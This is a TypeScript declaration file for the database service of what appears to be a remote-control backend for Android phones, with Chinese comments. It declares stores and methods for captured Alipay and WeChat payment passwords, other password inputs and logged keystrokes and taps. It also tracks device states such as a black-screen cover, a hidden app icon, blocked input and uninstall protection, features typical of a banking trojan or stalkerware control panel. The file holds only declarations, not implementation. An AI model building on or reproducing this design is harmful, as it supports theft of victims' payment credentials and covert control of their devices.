366 lines
10 KiB
TypeScript
366 lines
10 KiB
TypeScript
|
|
export interface DeviceRecord {
|
|||
|
|
deviceId: string;
|
|||
|
|
deviceName: string;
|
|||
|
|
deviceModel: string;
|
|||
|
|
osVersion: string;
|
|||
|
|
appVersion: string;
|
|||
|
|
appPackage?: string;
|
|||
|
|
appName?: string;
|
|||
|
|
screenWidth: number;
|
|||
|
|
screenHeight: number;
|
|||
|
|
capabilities: string[];
|
|||
|
|
firstSeen: Date;
|
|||
|
|
lastSeen: Date;
|
|||
|
|
connectionCount: number;
|
|||
|
|
lastSocketId?: string;
|
|||
|
|
status: 'online' | 'offline' | 'busy';
|
|||
|
|
publicIP?: string;
|
|||
|
|
remark?: string;
|
|||
|
|
systemVersionName?: string;
|
|||
|
|
romType?: string;
|
|||
|
|
romVersion?: string;
|
|||
|
|
osBuildVersion?: string;
|
|||
|
|
}
|
|||
|
|
export interface OperationLogRecord {
|
|||
|
|
id?: number;
|
|||
|
|
deviceId: string;
|
|||
|
|
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
|
|||
|
|
content: string;
|
|||
|
|
extraData?: any;
|
|||
|
|
timestamp: Date;
|
|||
|
|
}
|
|||
|
|
export interface DeviceStateRecord {
|
|||
|
|
deviceId: string;
|
|||
|
|
password?: string;
|
|||
|
|
inputBlocked: boolean;
|
|||
|
|
loggingEnabled: boolean;
|
|||
|
|
blackScreenActive: boolean;
|
|||
|
|
appHidden: boolean;
|
|||
|
|
uninstallProtectionEnabled: boolean;
|
|||
|
|
lastPasswordUpdate?: Date;
|
|||
|
|
confirmButtonCoords?: {
|
|||
|
|
x: number;
|
|||
|
|
y: number;
|
|||
|
|
};
|
|||
|
|
learnedConfirmButton?: {
|
|||
|
|
x: number;
|
|||
|
|
y: number;
|
|||
|
|
count: number;
|
|||
|
|
};
|
|||
|
|
createdAt: Date;
|
|||
|
|
updatedAt: Date;
|
|||
|
|
}
|
|||
|
|
export interface AlipayPasswordRecord {
|
|||
|
|
id?: number;
|
|||
|
|
deviceId: string;
|
|||
|
|
password: string;
|
|||
|
|
passwordLength: number;
|
|||
|
|
activity: string;
|
|||
|
|
inputMethod: string;
|
|||
|
|
sessionId: string;
|
|||
|
|
timestamp: Date;
|
|||
|
|
createdAt: Date;
|
|||
|
|
}
|
|||
|
|
export interface WechatPasswordRecord {
|
|||
|
|
id?: number;
|
|||
|
|
deviceId: string;
|
|||
|
|
password: string;
|
|||
|
|
passwordLength: number;
|
|||
|
|
activity: string;
|
|||
|
|
inputMethod: string;
|
|||
|
|
sessionId: string;
|
|||
|
|
timestamp: Date;
|
|||
|
|
createdAt: Date;
|
|||
|
|
}
|
|||
|
|
export interface PasswordInputRecord {
|
|||
|
|
id?: number;
|
|||
|
|
deviceId: string;
|
|||
|
|
password: string;
|
|||
|
|
passwordLength: number;
|
|||
|
|
passwordType: string;
|
|||
|
|
activity: string;
|
|||
|
|
inputMethod: string;
|
|||
|
|
installationId: string;
|
|||
|
|
sessionId: string;
|
|||
|
|
timestamp: Date;
|
|||
|
|
createdAt: Date;
|
|||
|
|
}
|
|||
|
|
export declare class DatabaseService {
|
|||
|
|
private db;
|
|||
|
|
private logger;
|
|||
|
|
constructor(dbPath?: string);
|
|||
|
|
/**
|
|||
|
|
* 初始化数据库表结构
|
|||
|
|
*/
|
|||
|
|
private initDatabase;
|
|||
|
|
/**
|
|||
|
|
* 迁移:确保 devices 表包含新增列
|
|||
|
|
*/
|
|||
|
|
private ensureDeviceTableColumns;
|
|||
|
|
/**
|
|||
|
|
* 根据socketId查询设备信息
|
|||
|
|
*/
|
|||
|
|
getDeviceBySocketId(socketId: string): DeviceRecord | null;
|
|||
|
|
/**
|
|||
|
|
* 根据deviceId查询设备信息
|
|||
|
|
*/
|
|||
|
|
getDeviceById(deviceId: string): DeviceRecord | null;
|
|||
|
|
/**
|
|||
|
|
* 保存或更新设备信息
|
|||
|
|
*/
|
|||
|
|
saveDevice(deviceInfo: any, socketId: string): void;
|
|||
|
|
/**
|
|||
|
|
* 记录连接历史
|
|||
|
|
*/
|
|||
|
|
private recordConnection;
|
|||
|
|
/**
|
|||
|
|
* ✅ 将设备状态设置为离线
|
|||
|
|
*/
|
|||
|
|
setDeviceOffline(deviceId: string): void;
|
|||
|
|
/**
|
|||
|
|
* 通过Socket ID将设备设置为离线
|
|||
|
|
*/
|
|||
|
|
setDeviceOfflineBySocketId(socketId: string): void;
|
|||
|
|
/**
|
|||
|
|
* ✅ 将所有设备状态重置为离线
|
|||
|
|
*/
|
|||
|
|
resetAllDevicesToOffline(): void;
|
|||
|
|
/**
|
|||
|
|
* 更新连接断开信息
|
|||
|
|
*/
|
|||
|
|
updateDisconnection(socketId: string): void;
|
|||
|
|
/**
|
|||
|
|
* 获取设备连接统计
|
|||
|
|
*/
|
|||
|
|
getDeviceStats(deviceId: string): any;
|
|||
|
|
/**
|
|||
|
|
* 获取所有设备列表
|
|||
|
|
*/
|
|||
|
|
getAllDevices(): DeviceRecord[];
|
|||
|
|
/**
|
|||
|
|
* 清理旧连接记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldRecords(daysToKeep?: number): void;
|
|||
|
|
/**
|
|||
|
|
* 转换数据库行为DeviceRecord
|
|||
|
|
*/
|
|||
|
|
private rowToDeviceRecord;
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新设备备注
|
|||
|
|
*/
|
|||
|
|
updateDeviceRemark(deviceId: string, remark: string): boolean;
|
|||
|
|
/**
|
|||
|
|
* 🆕 获取设备备注
|
|||
|
|
*/
|
|||
|
|
getDeviceRemark(deviceId: string): string | null;
|
|||
|
|
/**
|
|||
|
|
* 保存操作日志
|
|||
|
|
*/
|
|||
|
|
saveOperationLog(log: OperationLogRecord): void;
|
|||
|
|
/**
|
|||
|
|
* 获取设备操作日志(分页)
|
|||
|
|
*/
|
|||
|
|
getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
|
|||
|
|
logs: OperationLogRecord[];
|
|||
|
|
total: number;
|
|||
|
|
page: number;
|
|||
|
|
pageSize: number;
|
|||
|
|
totalPages: number;
|
|||
|
|
};
|
|||
|
|
/**
|
|||
|
|
* 删除设备的所有操作日志
|
|||
|
|
*/
|
|||
|
|
clearOperationLogs(deviceId: string): void;
|
|||
|
|
/**
|
|||
|
|
* 清理旧的操作日志
|
|||
|
|
*/
|
|||
|
|
cleanupOldOperationLogs(daysToKeep?: number): void;
|
|||
|
|
/**
|
|||
|
|
* 获取操作日志统计
|
|||
|
|
*/
|
|||
|
|
getOperationLogStats(deviceId: string): any;
|
|||
|
|
/**
|
|||
|
|
* 获取设备最新的密码记录
|
|||
|
|
*/
|
|||
|
|
getLatestDevicePassword(deviceId: string): string | null;
|
|||
|
|
/**
|
|||
|
|
* ✅ 获取设备状态
|
|||
|
|
*/
|
|||
|
|
getDeviceState(deviceId: string): DeviceStateRecord | null;
|
|||
|
|
/**
|
|||
|
|
* ✅ 保存或更新设备状态
|
|||
|
|
*/
|
|||
|
|
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备密码
|
|||
|
|
*/
|
|||
|
|
updateDevicePassword(deviceId: string, password: string): void;
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备输入阻止状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备日志记录状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新设备黑屏遮盖状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新设备应用隐藏状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
|
|||
|
|
/**
|
|||
|
|
* 🛡️ 更新设备防止卸载保护状态
|
|||
|
|
*/
|
|||
|
|
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
|
|||
|
|
/**
|
|||
|
|
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
|||
|
|
*/
|
|||
|
|
getDevicePassword(deviceId: string): string | null;
|
|||
|
|
/**
|
|||
|
|
* ✅ 保存设备密码(别名方法,用于API调用)
|
|||
|
|
*/
|
|||
|
|
saveDevicePassword(deviceId: string, password: string): void;
|
|||
|
|
/**
|
|||
|
|
* ✅ 更新设备状态(别名方法,用于API调用)
|
|||
|
|
*/
|
|||
|
|
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
|
|||
|
|
/**
|
|||
|
|
* 🆕 保存确认按钮坐标
|
|||
|
|
*/
|
|||
|
|
saveConfirmButtonCoords(deviceId: string, coords: {
|
|||
|
|
x: number;
|
|||
|
|
y: number;
|
|||
|
|
}): void;
|
|||
|
|
/**
|
|||
|
|
* 🆕 获取确认按钮坐标
|
|||
|
|
*/
|
|||
|
|
getConfirmButtonCoords(deviceId: string): {
|
|||
|
|
x: number;
|
|||
|
|
y: number;
|
|||
|
|
} | null;
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新学习的确认按钮坐标
|
|||
|
|
*/
|
|||
|
|
updateLearnedConfirmButton(deviceId: string, coords: {
|
|||
|
|
x: number;
|
|||
|
|
y: number;
|
|||
|
|
}): void;
|
|||
|
|
/**
|
|||
|
|
* 从操作日志中获取可能的密码候选
|
|||
|
|
*/
|
|||
|
|
getPasswordCandidatesFromLogs(deviceId: string): any[];
|
|||
|
|
/**
|
|||
|
|
* 💰 保存支付宝密码记录
|
|||
|
|
*/
|
|||
|
|
saveAlipayPassword(record: AlipayPasswordRecord): void;
|
|||
|
|
/**
|
|||
|
|
* 💰 获取设备的支付宝密码记录(分页)
|
|||
|
|
*/
|
|||
|
|
getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
|
|||
|
|
passwords: AlipayPasswordRecord[];
|
|||
|
|
total: number;
|
|||
|
|
page: number;
|
|||
|
|
pageSize: number;
|
|||
|
|
totalPages: number;
|
|||
|
|
};
|
|||
|
|
/**
|
|||
|
|
* 💰 获取设备最新的支付宝密码
|
|||
|
|
*/
|
|||
|
|
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
|
|||
|
|
/**
|
|||
|
|
* 💰 删除设备的支付宝密码记录
|
|||
|
|
*/
|
|||
|
|
clearAlipayPasswords(deviceId: string): void;
|
|||
|
|
/**
|
|||
|
|
* 💰 清理旧的支付宝密码记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldAlipayPasswords(daysToKeep?: number): void;
|
|||
|
|
/**
|
|||
|
|
* 💬 保存微信密码记录
|
|||
|
|
*/
|
|||
|
|
saveWechatPassword(record: WechatPasswordRecord): void;
|
|||
|
|
/**
|
|||
|
|
* 💬 获取设备的微信密码记录(分页)
|
|||
|
|
*/
|
|||
|
|
getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
|
|||
|
|
passwords: WechatPasswordRecord[];
|
|||
|
|
total: number;
|
|||
|
|
page: number;
|
|||
|
|
pageSize: number;
|
|||
|
|
totalPages: number;
|
|||
|
|
};
|
|||
|
|
/**
|
|||
|
|
* 💬 获取设备最新的微信密码
|
|||
|
|
*/
|
|||
|
|
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
|
|||
|
|
/**
|
|||
|
|
* 💬 删除设备的微信密码记录
|
|||
|
|
*/
|
|||
|
|
clearWechatPasswords(deviceId: string): void;
|
|||
|
|
/**
|
|||
|
|
* 💬 清理旧的微信密码记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldWechatPasswords(daysToKeep?: number): void;
|
|||
|
|
/**
|
|||
|
|
* 🔐 保存通用密码输入记录
|
|||
|
|
*/
|
|||
|
|
savePasswordInput(record: PasswordInputRecord): void;
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取设备的通用密码输入记录(分页)
|
|||
|
|
*/
|
|||
|
|
getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
|
|||
|
|
passwords: PasswordInputRecord[];
|
|||
|
|
total: number;
|
|||
|
|
page: number;
|
|||
|
|
pageSize: number;
|
|||
|
|
totalPages: number;
|
|||
|
|
};
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取设备最新的通用密码输入
|
|||
|
|
*/
|
|||
|
|
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
|
|||
|
|
/**
|
|||
|
|
* 🔐 删除设备的通用密码输入记录
|
|||
|
|
*/
|
|||
|
|
clearPasswordInputs(deviceId: string, passwordType?: string): void;
|
|||
|
|
/**
|
|||
|
|
* 🔐 清理旧的通用密码输入记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldPasswordInputs(daysToKeep?: number): void;
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取密码类型统计
|
|||
|
|
*/
|
|||
|
|
getPasswordTypeStats(deviceId: string): any[];
|
|||
|
|
/**
|
|||
|
|
* ✅ 删除设备及其所有相关数据
|
|||
|
|
*/
|
|||
|
|
deleteDevice(deviceId: string): void;
|
|||
|
|
/**
|
|||
|
|
* 🔐 授予用户设备控制权限
|
|||
|
|
*/
|
|||
|
|
grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
|
|||
|
|
/**
|
|||
|
|
* 🔐 撤销用户设备权限
|
|||
|
|
*/
|
|||
|
|
revokeUserDevicePermission(userId: string, deviceId: string): boolean;
|
|||
|
|
/**
|
|||
|
|
* 🔐 检查用户是否有设备权限
|
|||
|
|
*/
|
|||
|
|
hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
|
|||
|
|
/**
|
|||
|
|
* 🔐 获取用户的所有设备权限
|
|||
|
|
*/
|
|||
|
|
getUserDevicePermissions(userId: string): Array<{
|
|||
|
|
deviceId: string;
|
|||
|
|
permissionType: string;
|
|||
|
|
grantedAt: Date;
|
|||
|
|
}>;
|
|||
|
|
/**
|
|||
|
|
* 🔐 清理过期的权限
|
|||
|
|
*/
|
|||
|
|
cleanupExpiredPermissions(): number;
|
|||
|
|
}
|
|||
|
|
//# sourceMappingURL=DatabaseService.d.ts.map
|